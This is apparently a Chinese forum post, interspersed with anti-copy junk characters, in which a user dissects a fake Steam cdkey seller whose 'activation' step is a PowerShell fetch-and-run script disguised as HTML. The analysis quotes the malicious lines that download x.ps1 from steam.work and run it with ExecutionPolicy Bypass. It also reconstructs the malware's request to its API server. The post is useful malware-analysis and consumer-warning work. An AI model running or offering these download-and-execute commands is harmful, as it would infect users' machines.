|
|
刚刚去买了个 cdkey 准备送给朋友,结果一看发货介绍感觉有点不对劲:* u- e' ~0 `8 v; ]. ^9 m6 }3 t

8 h3 L5 u- c) n& q5 f L3 \3 x$ |$ f( g+ D, [
啥啊,irm iex 这不是经典的从网络获取脚本并执行的操作吗,怎么领个激活码还要搞这?
# }7 F0 |$ `" k! v* ^9 ^/ Y
) E( m( [- |+ q6 e; l' c我一开始还以为是自动安装加速器,商家还怪好的捏,直到我激活不了,把这脚本拉下来看了看:) }: R; s) L: U6 s7 p9 `& N
 & h& {0 Q" ?/ j: P6 b
好家伙 这玩意整了个极其有欺骗性的东西,因为powershell的多行注释正好是<# #>,正好 HTML 文件的开头是 <!DOCTYPE html> 这鸟人给他改成 <#!DOCTYPE html> 就变成 powershell 的注释了.. 我都差点没看出来..网页还做了 UA 判断和跳转,真是够阴损5 ^) b m. R9 c0 u# p9 d0 E0 ]
7 @1 p5 c k1 F! o2 W
那么真实的代码就只剩两行了:. D& E! d2 R m6 x/ t3 {
[PowerShell] 纯文本查看 复制代码
E2 [% P4 D% a, o8 R/ C?
/ m0 ~: v/ Z2 H4 |8 x# S/ d7 X1# {9 }% K: @/ ?8 o6 N" B9 ?
2
/ z' k! W! X! T. v+ C5 ]9 R | irm steam.work/pwsDwFile/new1 -OutFile x.ps1
# P" J! T5 T) X6 ~! upowershell.exe -ExecutionPolicy Bypass -File x.ps1;
/ K3 N9 Q3 M: I# O$ Y- W+ }2 x. Z& G- z. t. ?+ ]
| 0 ^; F$ } T# j2 r5 w
& P- E; r4 B- a* w- s# ^2 ^" W( U# C/ F$ r% y4 m
E# R4 c+ U- I- B% |4 [. `8 e1 U
看得出来,又是下脚本...我们把这玩意也下下来看一眼:
+ o6 W8 J2 m9 z$ d! Q0 R . X. O" M5 o7 ?4 {
我怎么兑换个激活码你还给我注入上 Steam了!有病啊!% \4 ?, m. Y% `
那么我们便不得不好奇一下注入的文件里到底干了啥呢,我们下下来拖进静态分析,但是里面几乎啥都没有,只有两个有意思的地方:
5 C) x$ K$ }* L7 I7 F: Y' {1. 把危险函数 VirtualAlloc 等 伪装成普通函数:
" Q" E. n5 O9 g+ G L* g1 ^* F+ N3 Y6 J! b, A
2. 里面有 zlib.inflate (图里打错了)
+ z; _( s- v, ?8 B1 P
, P9 n# I1 x) w8 g+ X1 J/ Q. F! u/ H2 f" w
看上去他是在尝试现场解压某种payload来执行啊!我们直接开一个 Windows Sandbox 来动态调试一下:
- v" U1 F; D# m/ T w+ r% p打开 x32dbg,在 zlib.inflate处打断点,很容易就拿到解压出的东西" a$ N( Z c* A0 S
. C/ m0 G P+ o8 M3 k
[eax + 0x4 * 3] -> 解压出缓冲区指针% o7 ~1 p6 g# M8 `# G$ \* O
[eax + 0x4 * 5] -> 解压出数据长度
, t$ _. e: r+ l. r+ q7 _不看不知道,一看 MZ 开头,PE格式没跑了,直接一个 savefile 把它存下来,拖进 Binary Ninja
' t7 c Y8 s8 t" J3 k4 ?这个文件也有点诡异,有三个 .text 段里面两个都是空的,还有一个 XRef 几乎扫不出来...总之先看一眼 IAT:: N1 S8 Q1 J5 d2 R
" T4 U: y+ s+ Q; }' F
怎么还引用了一个 winsqlite 啊,看起来像是打算操作 Steam 的数据库?* c, U# i. a0 N" d- }( i3 j5 y3 p
. @4 y1 ^4 {4 B) w8 I& F2 |8 K
这里还有一些十足诡异的找不到引用的函数,看上去是加密的字符串
8 I4 k+ g% G q' l
1 l2 B3 _7 D; W# F5 c3 M(接前文) ?7 }) O0 R8 N+ U) U
那么自然我们现在应该给导出的仅有的几个函数打一下断点看看;首当其冲怀疑的就是这个网络函数/ q& o) A" b4 O9 n8 w
直接先在该 dll 加载前打断点,暂停后在InternetOpenA打断点;发现有反调试检测,用 ScyllaHide Basic 轻松过掉
. p+ T6 p& z' c& G. Z s然后就断下来了,我们来看一眼" K. ]( t6 z6 F; H, F

# v/ ?, }4 d. O" g3 J. k$ C( E6 I' ]直接找到病毒开始请求配置的地方和端点了,大收获啊;但是我们直接访问 http://api.steam.work/api/integral/vs ,他是返回 403 Unauthorized 的,看来可能有什么 UA,POST body之类的,继续下断点查一下" |) V! `+ \1 }8 h+ z2 m7 D0 h& |
在InternetOpenA InternetConnectA HttpOpenRequestA HttpSendRequestA,成功还原整个请求:
) l$ Y) y* }4 x# w
, h, J! h, _# _% h; A0 {HTTP1.1 POST http://api.steam.work/api/integral/vs
9 u5 o& F# I4 k9 B. k* PReferer: version0 Q y; g- Y4 w0 n
user-agent: steam
o2 a2 e! m- w{"sign":"ckv"}
% e ~' E$ d: q% a
0 A/ [5 V( u0 a5 x
1 i7 b7 O! q' ]. Y0 v
) \+ ~! N0 X$ M1 ?9 R$ }- \5 O: S$ z9 s u, n# h
返回值拿到手,只有一串不知道是什么的 hex;我们先再看看其他几个点5 G( t0 k9 a% P' a$ B
sqlite这边下断点以后啥也没有,可能是激活的时候才会操作(我用的Windows Sandbox,不知道为什么打不开Steam……)- b+ x% A0 W! W j' ~8 ]# X- M7 f
, N! Z' _, e" L" L
于是转移到一台实机上继续分析。5 r2 {1 L/ l0 t2 F& c+ f5 v
' z& [4 L/ S4 O6 Z
% Z: j) e% n( c" U# S4 p0 @直接拿它给的虚假激活码来激活,可以直接断在 HTTP 请求点
! S9 {' B0 E: d' Z把请求掏出来看看:% j ~: `& F' T
: L5 B/ H- \5 _8 ?* [( B- _
看起来是成功了,返回一个 code 和一个 data;, x% z! Y: I" M0 t# h8 H
这个 ID 又是啥?" g# G) [3 c! j- { Q
. H% N5 v2 e" |! A
哦,哈迪斯的 App ID
1 Y* w' C: C1 N; F' i8 e那么接着调试,在一通奇奇怪怪的网络请求之后,它下下来一个 8k 的文件到 steam 的目录里% }) R2 s3 f8 }" m/ o/ s
C:\Program Files (x86)\Steam\package\data! H& p1 z# I- I% `- I

1 L% d9 U* U+ Q这是干啥的呢?看看我们正常的 Steam 这里有什么...居然什么都没有!# s1 U5 D7 ?" u" x
那么就说明,这个文件是病毒专用的了;我们直接 ImHex 打开4 m, y+ S% Y6 g. L- @% F' A* i8 @/ ?
5 A$ J$ ?( d& q
居然是个数据库!怪不得他要链 winsqlite;那这个数据库里有啥?我们丢进查看器:- e7 d5 h) S2 v* F0 p
3 m8 A2 w* H; X
有个appid,和两个不认识的hex;把键名拿去搜搜看:8 a K; z+ c% T0 u8 S" j. f& U* C: J/ F
+ j8 N7 A/ u. ?$ [0 `) y+ W$ Z

! |" g, h( |( [8 j3 Z7 f- H7 c7 F原来是这样!这是一种叫做“清单入库”的已经广为流传的Steam免费入库方式,结果被不法商家用于欺诈消费者,十分恶劣!2 g2 k2 ]- x- c( ^9 G- Q6 E* l
. G' A m8 J4 |. G2 I还有一些相关信息,大家可以自行查看→ https://github.com/pjy612/SteamManifestCache/discussions/374 https://github.com/pjy612/SteamManifestCache/wiki/DecryptionKey1 d y0 |* S/ a6 w. f
. W+ S( D* x! v' Z+ {5 I
|
1 l+ N9 ?1 T' w4 k7 a1 [/ \& r) E, v6 _ g% K/ o) [- K; q( U! H7 c
% S; Y! ^+ s/ W5 Q7 K5 c2 z
% W! R+ C( B2 _1 q
& l$ O+ l; r' V6 v
4 d) E/ U2 s% e: ~! I% P; q' T+ e, M; x" X0 S! z% J2 }4 I4 u
" D! q# l' V' z0 L$ R/ o& t
W' @+ b* r0 K- M9 Z6 d+ C- i
* H! K0 ]1 D! [9 i$ i# R1 F5 C, J; R6 `2 Q1 D+ w
|
|